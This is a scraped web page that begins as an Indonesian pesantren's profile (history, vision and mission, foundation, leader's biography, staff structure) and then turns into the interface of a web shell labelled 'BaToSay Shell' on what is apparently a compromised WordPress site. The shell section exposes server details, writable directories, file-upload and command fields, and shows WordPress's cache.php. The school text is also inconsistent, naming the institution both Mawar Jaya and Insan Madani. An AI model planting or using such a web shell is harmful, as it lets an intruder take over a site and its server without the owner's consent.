Pondok Pesantren Tahfizul Qur'an

Profil Sekolah

Sejarah Pesantren Insan Madani

Pada tahun 1885, sebuah desa kecil bernama Desa Mawar Jaya terletak di pedalaman yang terpencil. Desa ini didiami oleh sekelompok petani yang hidup dari hasil pertanian dan perkebunan. Namun, mayoritas anak-anak di desa tidak mendapatkan pendidikan formal karena jarak yang jauh dan tidak adanya sekolah di sekitar wilayah mereka.

Seorang warga desa bernama Bapak Hasan adalah seorang tokoh penting di masyarakat. Ia memiliki pemikiran maju dan menyadari betapa pentingnya pendidikan untuk masa depan generasi muda desa. Oleh karena itu, Bapak Hasan memulai sebuah inisiatif untuk mendirikan sebuah sekolah di Desa Mawar Jaya.

Pada awalnya, upayanya tidak mudah karena terbatasnya sumber daya dan dukungan dari pihak lain. Namun, Bapak Hasan tak menyerah. Ia berkeliling desa untuk mengajak warga lain ikut berpartisipasi dalam mendirikan sekolah. Banyak warga yang akhirnya menyadari betapa pentingnya pendidikan dan memberikan dukungan, baik dalam bentuk tenaga maupun sumbangan material.

Setelah beberapa bulan perjuangan, pada tanggal 10 Agustus 1885, sekolah pertama di Desa Mawar Jaya resmi didirikan. Gedung sekolah sederhana dibangun dengan adanya sumbangan dari masyarakat. Bapak Hasan menjadi kepala sekolah pertama, dengan seorang guru perempuan bernama Ibu Siti yang mengajar di sana.

Sekolah ini awalnya memiliki beberapa kelas dengan jumlah murid yang masih terbatas. Namun, dengan semangat juang yang tinggi, Bapak Hasan dan para guru bekerja keras untuk meningkatkan mutu pendidikan dan menarik lebih banyak murid. Mereka mengajak orang tua untuk mendaftarkan anak-anak mereka ke sekolah.

Seiring berjalannya waktu, sekolah ini tumbuh dan berkembang. Jumlah murid bertambah, dan fasilitas sekolah diperluas. Dengan dukungan dari pemerintah daerah dan sumbangan dari berbagai pihak, sekolah ini semakin berkembang menjadi pusat pendidikan yang diakui di wilayah sekitar.

Hingga saat ini, Sekolah Mawar Jaya tetap berdiri sebagai penjaga harapan dan mimpi bagi anak-anak desa. Bapak Hasan, meskipun sudah tiada, namanya tetap dikenang sebagai tokoh yang berjasa dalam pendirian sekolah tersebut. Sekolah ini telah menghasilkan banyak lulusan yang berhasil dan berkontribusi positif bagi masyarakat dan bangsa.

Visi:

“Menjadi lembaga pendidikan unggulan yang menginspirasi dan membentuk generasi penerus yang berintegritas, berdaya saing global, dan berkomitmen pada keunggulan ilmu pengetahuan dan karakter.”

Misi:

  1. Memberikan pendidikan berkualitas tinggi yang mengutamakan keunggulan akademik dan kedisiplinan.
  2. Mengembangkan lingkungan belajar yang inklusif, mendukung, dan menginspirasi siswa untuk mencapai potensi maksimal mereka.
  3. Menyediakan kurikulum yang beragam dan relevan, mengintegrasikan teknologi dan kecakapan 21st century, serta memfasilitasi pengembangan kreativitas dan pemecahan masalah.
  4. Mendorong kecintaan terhadap pembelajaran sepanjang hayat dan memberikan dukungan untuk pengembangan karir dan aspirasi siswa.
  5. Menanamkan nilai-nilai etika, integritas, dan kepemimpinan, serta membentuk karakter siswa yang bertanggung jawab dan peduli terhadap masyarakat.
  6. Menggalakkan partisipasi aktif orang tua dan masyarakat dalam mendukung pendidikan siswa.
  7. Melaksanakan penelitian dan inovasi pendidikan untuk terus meningkatkan kualitas pembelajaran dan pengajaran di sekolah.

Nama Yayasan: Yayasan Pendidikan Budi Mulia

Sejarah Singkat: Yayasan Pendidikan Budi Mulia didirikan pada tahun 1995 dengan tujuan mendorong dan mendukung perkembangan pendidikan di Indonesia. Yayasan ini berawal dari tekad sekelompok tokoh masyarakat yang peduli terhadap masa depan anak-anak Indonesia untuk memberikan akses pendidikan berkualitas tanpa memandang latar belakang ekonomi.

Visi: “Menjadi lembaga yayasan pendidikan terdepan yang memberikan kontribusi nyata dalam membentuk generasi berintegritas, berdaya saing global, dan berperan aktif dalam memajukan bangsa dan dunia.”

Misi:

  1. Memberikan bantuan beasiswa dan akses pendidikan untuk anak-anak dari keluarga kurang mampu agar mereka dapat mengenyam pendidikan berkualitas.
  2. Mendirikan, mengelola, dan mengembangkan sekolah-sekolah berkualitas dengan kurikulum unggulan dan fasilitas yang memadai untuk menciptakan lingkungan belajar yang kondusif.
  3. Menerapkan sistem pendidikan holistik yang menggabungkan aspek akademik, karakter, dan keterampilan 21st century untuk membentuk individu yang berdaya saing dan berkomitmen pada nilai-nilai kemanusiaan.
  4. Melibatkan orang tua, masyarakat, dan stakeholder lain dalam mendukung pendidikan yang berkelanjutan dan berdampak positif bagi seluruh lapisan masyarakat.
  5. Mengembangkan dan memfasilitasi program penelitian dan inovasi pendidikan untuk terus meningkatkan kualitas dan relevansi pembelajaran.
  6. Berperan aktif dalam kegiatan sosial dan pemberdayaan masyarakat untuk menciptakan lingkungan yang mendukung pendidikan dan kesejahteraan siswa.

Program Unggulan:

  1. Program Beasiswa Pendidikan Berkualitas: Yayasan Pendidikan Budi Mulia memberikan bantuan beasiswa kepada siswa berprestasi dari keluarga kurang mampu untuk mengenyam pendidikan di sekolah-sekolah binaan yayasan.
  2. Program Pendidikan Karakter: Sekolah-sekolah di bawah naungan yayasan menerapkan kurikulum khusus yang fokus pada pembentukan karakter siswa melalui kegiatan ekstrakurikuler, pelatihan kepemimpinan, dan pengembangan nilai-nilai moral.
  3. Program Pengembangan Guru: Yayasan memberikan pelatihan dan pendampingan bagi guru-guru agar dapat meningkatkan kompetensi dan kualitas pengajaran mereka.
  4. Program Lingkungan Belajar Berkualitas: Yayasan berinvestasi dalam memperbaiki fasilitas dan lingkungan belajar di sekolah-sekolah binaan agar menciptakan suasana yang nyaman dan kondusif untuk proses belajar-mengajar.

Informasi Kontak: Alamat: Jl. Harapan Indah No. 123, Kota Sejahtera, Indonesia

Nama: Kyai Ahmad Yusuf

Pendidikan:

  • Pendidikan Keagamaan dan Kepemimpinan di Pondok Pesantren Darul Ulum, Jawa Timur.
  • Sarjana Agama (S.Ag) dari Universitas Islam Nusantara, Yogyakarta.
  • Magister Studi Islam (M.Si) dengan konsentrasi Kajian Agama dan Masyarakat dari Universitas Gadjah Mada, Yogyakarta.

Pengalaman:

  • Mengajar dan mendalami ilmu agama di Pondok Pesantren Darul Ulum selama 15 tahun.
  • Menjabat sebagai Wali Kelas dan Pembina Rohani di Pondok Pesantren Darul Ulum selama 8 tahun.
  • Pimpinan Pesantren Insan Madani sejak tahun 2010.

Visi Kepemimpinan: Kyai Ahmad Yusuf memiliki visi untuk menjadikan Pesantren Insan Madani sebagai lembaga pendidikan Islam yang unggul dalam pendidikan agama, akademis, dan karakter. Ia bermimpi melihat setiap santri mampu menjadi pemimpin yang berintegritas, berdaya saing global, dan berperan aktif dalam memajukan umat dan masyarakat.

Misi Kepemimpinan:

  1. Pendidikan Agama yang Kokoh: Kyai Ahmad Yusuf berkomitmen untuk memberikan pendidikan agama yang kokoh, mendalam, dan seimbang antara ilmu-ilmu agama dengan ilmu pengetahuan umum.
  2. Kurikulum Berkualitas: Ia memastikan penyusunan kurikulum yang sesuai dengan perkembangan zaman, mengintegrasikan teknologi, dan mengajarkan keterampilan 21st century.
  3. Pembinaan Karakter: Kyai Ahmad Yusuf menekankan pentingnya pembinaan karakter bagi santri, seperti integritas, kepemimpinan, kejujuran, dan tanggung jawab.
  4. Penguatan Bahasa Asing: Ia memperhatikan pentingnya kemampuan bahasa asing bagi santri, terutama bahasa Inggris, untuk mendukung keterbukaan dan keterampilan berkomunikasi global.
  5. Pengembangan Keterampilan Kewirausahaan: Kyai Ahmad Yusuf memberikan pelatihan dan dukungan untuk mengembangkan keterampilan kewirausahaan bagi santri, sehingga mereka siap menghadapi dunia kerja dan berkontribusi pada perekonomian masyarakat.
  6. Pemberdayaan Perempuan: Ia aktif mendukung kesetaraan gender dan memberdayakan perempuan dengan memberikan kesempatan yang sama untuk mengenyam pendidikan dan berperan dalam kepemimpinan.

Kyai Ahmad Yusuf, sebagai pimpinan Pesantren Insan Madani, terus berusaha menciptakan lingkungan pendidikan yang kondusif, inklusif, dan berorientasi pada pengembangan potensi santri. Ia berdedikasi untuk membimbing dan menginspirasi para santri dalam mencapai kesuksesan di dunia dan akhirat.

  1. Pengasuh Pesantren (Kyai Ahmad Yusuf)

    • Bertanggung jawab atas keseluruhan aktivitas pesantren dan menetapkan kebijakan strategis.
    • Memimpin rapat dan konsultasi dengan Dewan Pembina dan Dewan Guru.
    • Menjalin hubungan dengan pihak eksternal, termasuk masyarakat dan pemerintah.
  2. Dewan Pembina

    • Ketua Dewan Pembina (Bapak Zainal Arifin)
    • Anggota Dewan Pembina (tokoh masyarakat, tokoh agama, dan donatur)
    • Bertugas memberikan arahan dan dukungan dalam pengambilan keputusan strategis pesantren.
    • Mengawasi keuangan dan kebijakan keuangan pesantren.

  3. Dewan Guru

    • Ketua Dewan Guru (Ustazah Nurmala)
    • Anggota Dewan Guru (ustadz dan ustadzah pengajar di pesantren)
    • Bertugas merumuskan kurikulum, menyusun rencana pembelajaran, dan melakukan evaluasi akademis.
    • Memimpin proses belajar mengajar dan membimbing perkembangan akademis santri.

  4. Sekretariat

    • Kepala Sekretariat (Bapak Ahmad Hidayat)
    • Staff Administrasi (mengurus administrasi harian, catatan kehadiran, dan surat-menyurat)
    • Staff Humas (bertugas mengelola komunikasi internal dan eksternal pesantren)

  5. Bidang Pendidikan

    • Kepala Bidang Pendidikan (Ustaz Ali Imron)
    • Staff Akademik (mengelola program dan jadwal pelajaran)
    • Staff Kesiswaan (mengurus kegiatan ekstrakurikuler dan pembinaan kedisiplinan santri)

  6. Bidang Keuangan

    • Kepala Bidang Keuangan (Bapak Rudi Hartono)
    • Staff Keuangan (mengelola keuangan pesantren, anggaran, dan pelaporan keuangan)

  7. Bidang Sarana dan Prasarana

    • Kepala Bidang Sarana dan Prasarana (Bapak Hadianto)
    • Staff Teknis (mengelola perawatan dan pemeliharaan fasilitas pesantren)

  8. Bidang Kesehatan dan Kesejahteraan

    • Kepala Bidang Kesehatan dan Kesejahteraan (Ibu Siti Rahayu)
    • Staff Kesehatan (merawat dan memberikan pertolongan pertama pada santri)
    • Staff Kesejahteraan (mengurus asrama dan kesejahteraan santri)

  9. Bidang Pengembangan Masyarakat

    • Kepala Bidang Pengembangan Masyarakat (Bapak Wawan Setiawan)
    • Staff Pengembangan Masyarakat (mengelola program-program sosial dan kegiatan kemanusiaan)

 

Butuh bantuan?
BaToSay Shell
BATOSAY Shell
Server IP : 45.126.43.27  /  Your IP : 3.138.67.221
Web Server : LiteSpeed
System : Linux serv02.awandns.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : annurindonesia ( 1064)
PHP Version : 7.4.33
Disable Function : exec,system,passthru,shell_exec,dl,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/annurindonesia/public_html/wp-includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/annurindonesia/public_html/wp-includes/cache.php
<?php
/**
 * Object Cache API
 *
 * @link https://developer.wordpress.org/reference/classes/wp_object_cache/
 *
 * @package WordPress
 * @subpackage Cache
 */

/** WP_Object_Cache class */
require_once ABSPATH . WPINC . '/class-wp-object-cache.php';

/**
 * Sets up Object Cache Global and assigns it.
 *
 * @since 2.0.0
 *
 * @global WP_Object_Cache $wp_object_cache
 */
function wp_cache_init() {
	$GLOBALS['wp_object_cache'] = new WP_Object_Cache();
}

/**
 * Adds data to the cache, if the cache key doesn't already exist.
 *
 * @since 2.0.0
 *
 * @see WP_Object_Cache::add()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param int|string $key    The cache key to use for retrieval later.
 * @param mixed      $data   The data to add to the cache.
 * @param string     $group  Optional. The group to add the cache to. Enables the same key
 *                           to be used across groups. Default empty.
 * @param int        $expire Optional. When the cache data should expire, in seconds.
 *                           Default 0 (no expiration).
 * @return bool True on success, false if cache key and group already exist.
 */
function wp_cache_add( $key, $data, $group = '', $expire = 0 ) {
	global $wp_object_cache;

	return $wp_object_cache->add( $key, $data, $group, (int) $expire );
}

/**
 * Adds multiple values to the cache in one call.
 *
 * @since 6.0.0
 *
 * @see WP_Object_Cache::add_multiple()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param array  $data   Array of keys and values to be set.
 * @param string $group  Optional. Where the cache contents are grouped. Default empty.
 * @param int    $expire Optional. When to expire the cache contents, in seconds.
 *                       Default 0 (no expiration).
 * @return bool[] Array of return values, grouped by key. Each value is either
 *                true on success, or false if cache key and group already exist.
 */
function wp_cache_add_multiple( array $data, $group = '', $expire = 0 ) {
	global $wp_object_cache;

	return $wp_object_cache->add_multiple( $data, $group, $expire );
}

/**
 * Replaces the contents of the cache with new data.
 *
 * @since 2.0.0
 *
 * @see WP_Object_Cache::replace()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param int|string $key    The key for the cache data that should be replaced.
 * @param mixed      $data   The new data to store in the cache.
 * @param string     $group  Optional. The group for the cache data that should be replaced.
 *                           Default empty.
 * @param int        $expire Optional. When to expire the cache contents, in seconds.
 *                           Default 0 (no expiration).
 * @return bool True if contents were replaced, false if original value does not exist.
 */
function wp_cache_replace( $key, $data, $group = '', $expire = 0 ) {
	global $wp_object_cache;

	return $wp_object_cache->replace( $key, $data, $group, (int) $expire );
}

/**
 * Saves the data to the cache.
 *
 * Differs from wp_cache_add() and wp_cache_replace() in that it will always write data.
 *
 * @since 2.0.0
 *
 * @see WP_Object_Cache::set()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param int|string $key    The cache key to use for retrieval later.
 * @param mixed      $data   The contents to store in the cache.
 * @param string     $group  Optional. Where to group the cache contents. Enables the same key
 *                           to be used across groups. Default empty.
 * @param int        $expire Optional. When to expire the cache contents, in seconds.
 *                           Default 0 (no expiration).
 * @return bool True on success, false on failure.
 */
function wp_cache_set( $key, $data, $group = '', $expire = 0 ) {
	global $wp_object_cache;

	return $wp_object_cache->set( $key, $data, $group, (int) $expire );
}

/**
 * Sets multiple values to the cache in one call.
 *
 * @since 6.0.0
 *
 * @see WP_Object_Cache::set_multiple()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param array  $data   Array of keys and values to be set.
 * @param string $group  Optional. Where the cache contents are grouped. Default empty.
 * @param int    $expire Optional. When to expire the cache contents, in seconds.
 *                       Default 0 (no expiration).
 * @return bool[] Array of return values, grouped by key. Each value is either
 *                true on success, or false on failure.
 */
function wp_cache_set_multiple( array $data, $group = '', $expire = 0 ) {
	global $wp_object_cache;

	return $wp_object_cache->set_multiple( $data, $group, $expire );
}

/**
 * Retrieves the cache contents from the cache by key and group.
 *
 * @since 2.0.0
 *
 * @see WP_Object_Cache::get()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param int|string $key   The key under which the cache contents are stored.
 * @param string     $group Optional. Where the cache contents are grouped. Default empty.
 * @param bool       $force Optional. Whether to force an update of the local cache
 *                          from the persistent cache. Default false.
 * @param bool       $found Optional. Whether the key was found in the cache (passed by reference).
 *                          Disambiguates a return of false, a storable value. Default null.
 * @return mixed|false The cache contents on success, false on failure to retrieve contents.
 */
function wp_cache_get( $key, $group = '', $force = false, &$found = null ) {
	global $wp_object_cache;

	return $wp_object_cache->get( $key, $group, $force, $found );
}

/**
 * Retrieves multiple values from the cache in one call.
 *
 * @since 5.5.0
 *
 * @see WP_Object_Cache::get_multiple()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param array  $keys  Array of keys under which the cache contents are stored.
 * @param string $group Optional. Where the cache contents are grouped. Default empty.
 * @param bool   $force Optional. Whether to force an update of the local cache
 *                      from the persistent cache. Default false.
 * @return array Array of return values, grouped by key. Each value is either
 *               the cache contents on success, or false on failure.
 */
function wp_cache_get_multiple( $keys, $group = '', $force = false ) {
	global $wp_object_cache;

	return $wp_object_cache->get_multiple( $keys, $group, $force );
}

/**
 * Removes the cache contents matching key and group.
 *
 * @since 2.0.0
 *
 * @see WP_Object_Cache::delete()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param int|string $key   What the contents in the cache are called.
 * @param string     $group Optional. Where the cache contents are grouped. Default empty.
 * @return bool True on successful removal, false on failure.
 */
function wp_cache_delete( $key, $group = '' ) {
	global $wp_object_cache;

	return $wp_object_cache->delete( $key, $group );
}

/**
 * Deletes multiple values from the cache in one call.
 *
 * @since 6.0.0
 *
 * @see WP_Object_Cache::delete_multiple()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param array  $keys  Array of keys under which the cache to deleted.
 * @param string $group Optional. Where the cache contents are grouped. Default empty.
 * @return bool[] Array of return values, grouped by key. Each value is either
 *                true on success, or false if the contents were not deleted.
 */
function wp_cache_delete_multiple( array $keys, $group = '' ) {
	global $wp_object_cache;

	return $wp_object_cache->delete_multiple( $keys, $group );
}

/**
 * Increments numeric cache item's value.
 *
 * @since 3.3.0
 *
 * @see WP_Object_Cache::incr()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param int|string $key    The key for the cache contents that should be incremented.
 * @param int        $offset Optional. The amount by which to increment the item's value.
 *                           Default 1.
 * @param string     $group  Optional. The group the key is in. Default empty.
 * @return int|false The item's new value on success, false on failure.
 */
function wp_cache_incr( $key, $offset = 1, $group = '' ) {
	global $wp_object_cache;

	return $wp_object_cache->incr( $key, $offset, $group );
}

/**
 * Decrements numeric cache item's value.
 *
 * @since 3.3.0
 *
 * @see WP_Object_Cache::decr()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param int|string $key    The cache key to decrement.
 * @param int        $offset Optional. The amount by which to decrement the item's value.
 *                           Default 1.
 * @param string     $group  Optional. The group the key is in. Default empty.
 * @return int|false The item's new value on success, false on failure.
 */
function wp_cache_decr( $key, $offset = 1, $group = '' ) {
	global $wp_object_cache;

	return $wp_object_cache->decr( $key, $offset, $group );
}

/**
 * Removes all cache items.
 *
 * @since 2.0.0
 *
 * @see WP_Object_Cache::flush()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @return bool True on success, false on failure.
 */
function wp_cache_flush() {
	global $wp_object_cache;

	return $wp_object_cache->flush();
}

/**
 * Removes all cache items from the in-memory runtime cache.
 *
 * @since 6.0.0
 *
 * @see WP_Object_Cache::flush()
 *
 * @return bool True on success, false on failure.
 */
function wp_cache_flush_runtime() {
	return wp_cache_flush();
}

/**
 * Removes all cache items in a group, if the object cache implementation supports it.
 *
 * Before calling this function, always check for group flushing support using the
 * `wp_cache_supports( 'flush_group' )` function.
 *
 * @since 6.1.0
 *
 * @see WP_Object_Cache::flush_group()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param string $group Name of group to remove from cache.
 * @return bool True if group was flushed, false otherwise.
 */
function wp_cache_flush_group( $group ) {
	global $wp_object_cache;

	return $wp_object_cache->flush_group( $group );
}

/**
 * Determines whether the object cache implementation supports a particular feature.
 *
 * @since 6.1.0
 *
 * @param string $feature Name of the feature to check for. Possible values include:
 *                        'add_multiple', 'set_multiple', 'get_multiple', 'delete_multiple',
 *                        'flush_runtime', 'flush_group'.
 * @return bool True if the feature is supported, false otherwise.
 */
function wp_cache_supports( $feature ) {
	switch ( $feature ) {
		case 'add_multiple':
		case 'set_multiple':
		case 'get_multiple':
		case 'delete_multiple':
		case 'flush_runtime':
		case 'flush_group':
			return true;

		default:
			return false;
	}
}

/**
 * Closes the cache.
 *
 * This function has ceased to do anything since WordPress 2.5. The
 * functionality was removed along with the rest of the persistent cache.
 *
 * This does not mean that plugins can't implement this function when they need
 * to make sure that the cache is cleaned up after WordPress no longer needs it.
 *
 * @since 2.0.0
 *
 * @return true Always returns true.
 */
function wp_cache_close() {
	return true;
}

/**
 * Adds a group or set of groups to the list of global groups.
 *
 * @since 2.6.0
 *
 * @see WP_Object_Cache::add_global_groups()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param string|string[] $groups A group or an array of groups to add.
 */
function wp_cache_add_global_groups( $groups ) {
	global $wp_object_cache;

	$wp_object_cache->add_global_groups( $groups );
}

/**
 * Adds a group or set of groups to the list of non-persistent groups.
 *
 * @since 2.6.0
 *
 * @param string|string[] $groups A group or an array of groups to add.
 */
function wp_cache_add_non_persistent_groups( $groups ) {
	// Default cache doesn't persist so nothing to do here.
}

/**
 * Switches the internal blog ID.
 *
 * This changes the blog id used to create keys in blog specific groups.
 *
 * @since 3.5.0
 *
 * @see WP_Object_Cache::switch_to_blog()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param int $blog_id Site ID.
 */
function wp_cache_switch_to_blog( $blog_id ) {
	global $wp_object_cache;

	$wp_object_cache->switch_to_blog( $blog_id );
}

/**
 * Resets internal cache keys and structures.
 *
 * If the cache back end uses global blog or site IDs as part of its cache keys,
 * this function instructs the back end to reset those keys and perform any cleanup
 * since blog or site IDs have changed since cache init.
 *
 * This function is deprecated. Use wp_cache_switch_to_blog() instead of this
 * function when preparing the cache for a blog switch. For clearing the cache
 * during unit tests, consider using wp_cache_init(). wp_cache_init() is not
 * recommended outside of unit tests as the performance penalty for using it is high.
 *
 * @since 3.0.0
 * @deprecated 3.5.0 Use wp_cache_switch_to_blog()
 * @see WP_Object_Cache::reset()
 *
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 */
function wp_cache_reset() {
	_deprecated_function( __FUNCTION__, '3.5.0', 'wp_cache_switch_to_blog()' );

	global $wp_object_cache;

	$wp_object_cache->reset();
}

Batosay - 2023
IDNSEO Team